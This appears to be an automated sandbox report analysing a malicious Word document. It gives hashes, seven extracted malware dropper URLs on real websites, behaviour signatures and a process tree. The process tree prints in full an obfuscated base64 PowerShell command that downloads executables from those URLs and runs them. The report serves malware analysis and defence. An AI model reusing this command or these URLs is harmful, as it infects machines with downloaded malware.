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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05/05/2024, 08:55

General

  • Target

    16ea5d66df1706dee374737e0af072ba_JaffaCakes118.doc

  • Size

    172KB

  • MD5

    16ea5d66df1706dee374737e0af072ba

  • SHA1

    8bb0e715e57ead75d33265a28329b4adb693dd7f

  • SHA256

    a162bffd2c7937b14cbc56696db2b2a7a964b9998e204c32edaa94c4de1cddc1

  • SHA512

    a5af0e7d61d37f672223e9dcccc2abd536dd67256f5ba624846ce89439ab21d00c9980c816a68ba1894f5b57fa56370776116d3ca87bde52e200097ab31ac938

  • SSDEEP

    1536:erdi1Ir77zOH98Wj2gpngR+a9LpxO8nq78ct2PU7MXKSSxH5pcKaJn57y2t:erfrzOH98ipgekB57V

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://rhyton-building.com/wp-admin/Ey8qV0/

exe.dropper

http://ezzll.com/wp-includes/KIU2WU/

exe.dropper

http://tellmetech.com/wp-content/4ka/

exe.dropper

https://elmundodelareposteria.com/wp-admin/0PVVmJm/

exe.dropper

https://manuelrozas.cl/assets/XWN/

exe.dropper

https://haritdharni.com/wp-admin/bZM/

exe.dropper

https://theworks-group.com/site/pQT6j5/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\16ea5d66df1706dee374737e0af072ba_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a00c637c54f71011c1843cc3f4896614

      SHA1

      cc1d8a461c22a2e0b1928cf09a9830ab44f94a11

      SHA256

      075e4ec5262131df55787979568b9b7149dd0c4672fddc88779f32cd0c578a73

      SHA512

      4d371ef0b56eb2c5b789a8bf998df69917e92113fa0ae680f7a4bc1fd1f8147cdcdc65e40b5fb4c665a1ed76e0361192342365e3b091c0ec05e166251b682155

    • memory/2656-39-0x000000001B770000-0x000000001BA52000-memory.dmp

      Filesize

      2.9MB

    • memory/2656-40-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

      Filesize

      32KB

    • memory/2944-27-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-23-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-8-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-9-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-21-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-19-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-17-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-18-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-15-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-14-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-26-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-11-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-12-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-10-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-22-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-0-0x000000002F571000-0x000000002F572000-memory.dmp

      Filesize

      4KB

    • memory/2944-7-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-25-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-13-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-24-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-30-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-31-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-32-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-29-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-28-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-33-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-6-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-2-0x0000000070E7D000-0x0000000070E88000-memory.dmp

      Filesize

      44KB

    • memory/2944-45-0x0000000070E7D000-0x0000000070E88000-memory.dmp

      Filesize

      44KB

    • memory/2944-46-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-48-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2944-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2944-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2944-65-0x0000000070E7D000-0x0000000070E88000-memory.dmp

      Filesize

      44KB